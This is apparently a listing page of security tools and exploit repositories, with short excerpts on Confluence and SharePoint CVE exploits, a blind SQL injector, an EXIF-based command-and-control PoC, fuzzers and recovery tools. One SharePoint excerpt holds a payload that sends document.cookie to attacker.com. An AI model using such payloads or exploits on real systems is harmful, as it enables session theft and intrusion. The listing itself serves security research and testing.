MalQR.github.io

MalQR About MalQR is a collection of malicious QR codes and barcodes you can use to test the security of your scanners. It gives you the ability to conduct such tests with easiness : you just need to have a smartphone, a tablet or a laptop with an internet connection and browse MalQR.shielder.com...

Exploit-CVE-2023-22515

Exploit CVE-2023-22515 A simple basch script exploit for CVE-2023-22515. Information Confluence Data Center and Server instances have a Broken Access Control Vulnerability CVE-2023-22515, allowing attackers to create unauthorized Confluence administrator accounts and access Confluence instances...

anubis

Anubis root@kitploit: d8888 888 d8b d88888 888 Y8P d88P888 888 d88P 888 88888b. 888 888 88888b. 888 .d8888b d88P 888 888 "88b 888 888 888 "88b 888 88K d88P 888 888 888 888 888 888 888 888 "Y8888b. d8888888888 888 888 Y88b 888 888 d88P 888 X88 d88P 888 888 888 "Y88888 88888P" 888 88888P' Anubis...

CVE-2026-32201-exploit

Overview Python exploit for CVE-2026-32201 - improper input validation в Microsoft SharePoint Server, allowing unauthenticated network spoofing C:L/I:L. Affected: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint...

CVE-2023-22527_Confluence_RCE

CVE-2023-22527 Confluence RCE CVE-2023-22527 - RCE Remote Code Execution Vulnerability In Confluence Data Center and Confluence Server PoC References CVE-2023-22527 - RCE Remote Code Execution Vulnerability In Confluence Data Center and Confluence Server | Atlassian Support | Atlassian...

CVE-2026-11107-Insecure-Direct-Object-Reference-with-Predictable-UUIDv1

CVE-2026-11107 – Insecure Direct Object Reference with Predictable UUIDv1 Program Code Python Flask root@kitploit: idorserver.py - API with UUIDv1 user IDs import uuid, time from flask import Flask, request, jsonify app = Flaskname Generate predictable UUIDv1 based on timestamp + MAC users =...

BSQLinjector

BSQLinjector BSQLinjectorはブラインド手法を使用してSQLデータベースからデータを取得します。アプリケーションに送信する前に、設定されたペイロードがどのように見えるかを明確に確認するために、「--test」スイッチを使用することをお勧めします。 オプション: root@kitploit: --file Mandatory - File containing valid HTTP request and SQL injection point SQLINJECT. --file=/tmp/req.txt --pattern Mandatory - Pattern t...

CVE-2023-33409

CVE-2023-33409 Minical 1.0.0 is vulnerable to Cross-Site Request Forgery. Vendor: https://github.com/minical/minical Demo Application: https://demo.minical.io/ PoC The application does not have any CSRF protection, hence a specially crafted HTTP request can be used to, Add New User Delete Existin...

CVE-2025-54957

Dolby Unified Decoder CVE-2025-54957 POC When a file is processed by Dolby's DDPlus Unified Decoder, an out of bounds write is possible when the evolution data is processed. The decoder writes evolution information into a large, heap-like contiguous buffer contained by a larger struct, and the...

CVE-2023-49339

CVE-2023-49339 Security Vulnerability Report: Ellucian Banner System Introduction This document outlines a critical security vulnerability found in the Ellucian Banner System, particularly in version 9.17 and earlier versions. The vulnerability has been identified in systems used by various...

CVE-2018-3252

CVE-2018-3252 1. Decompile WebLogic root@kitploit: private void handleDataTransferRequestHttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse, AuthenticatedSubject paramAuthenticatedSubject throws IOException if isDebugEnabled debug"Received DataTransferRequest...

external_zlib_4.4_CVE-2018-25032

ZLIBデータ圧縮ライブラリ zlib 1.2.7は汎用データ圧縮ライブラリです。すべてのコードはスレッドセーフです。zlibライブラリが使用するデータ形式は、ファイル内のRFC（Request for Comments）1950から1952で説明されています：http://tools.ietf.org/html/rfc1950 zlib形式, rfc1951 deflate形式, rfc1952 gzip形式。...

faraday

オープンソース脆弱性管理ツール セキュリティには、新しい情報をスマートに入手する方法を考案することと、発見した情報を追跡して改善活動を強化することという、2つの難しい課題があります。Faradayを使えば、脆弱性の発見に集中できます。残りの部分は私たちがお手伝いします。ターミナルでそのまま使用し、作業を効率的に整理してください。 Faradayは、コミュニティで利用可能なツールを真のマルチユーザー方式で活用できるように設計されています。 Faradayは読み込んだデータを集約・正規化し、管理者とアナリストの双方にとって有益なさまざまな可視化形式でデータを探索できるようにします。...

ffuf

ffuf - Fuzz Faster U Fool A fast web fuzzer written in Go. Installation Example usage Content discovery Vhost discovery Parameter fuzzing POST data fuzzing Using external mutator Configuration files Help Interactive mode Installation Download a prebuilt binary from releases page, unpack and run! ...

RecoverPy

RecoverPy Escanea particiones en bruto y recupera datos inspeccionando bloques de disco directamente. 🎬 Demostración 🔎 Visión General Cuando un archivo se elimina, sus metadatos desaparecen primero. Los bloques de disco subyacentes suelen permanecer intactos hasta que se reutilizan. RecoverPy...

EUVD-2026-81275

TCH QRing smart ring model R20B006 running firmware RT09R201.00.00250318 contains an unauthenticated Bluetooth Low Energy access vulnerability that allows any nearby attacker to connect to the device without pairing, authentication, or user approval by exploiting the exposed Nordic UART Service...

xzf

Introduction xzf is a simple PoC demonstrating how EXIF data can be used for command and control. xzf GETs an image from a predetermined URL, then reads the software tag for an authentication string. If the string matches, xzf will execute anything contained within the ImageDescription tag. Usage...

RecuperaBit

RecuperaBit A software which attempts to reconstruct file system structures and recover files. Currently it supports only NTFS. RecuperaBit attempts reconstruction of the directory structure regardless of: missing partition table unknown partition boundaries partially-overwritten metadata quick...

Torward

Torward Torward is an improved version based on the torghost-gn and darktor scripts, designed to enhance anonymity on the Internet. The tool prevents data leaks and forces all traffic from our computer to be routed exclusively through the Tor network, providing a high level of privacy in our...

waymore

About - v8.9 The idea behind waymore is to find even more links from the Wayback Machine plus other sources than other existing tools. 👉 The biggest difference between waymore and other tools is that it can also download the archived responses for URLs on wayback machine and URLScan so that you c...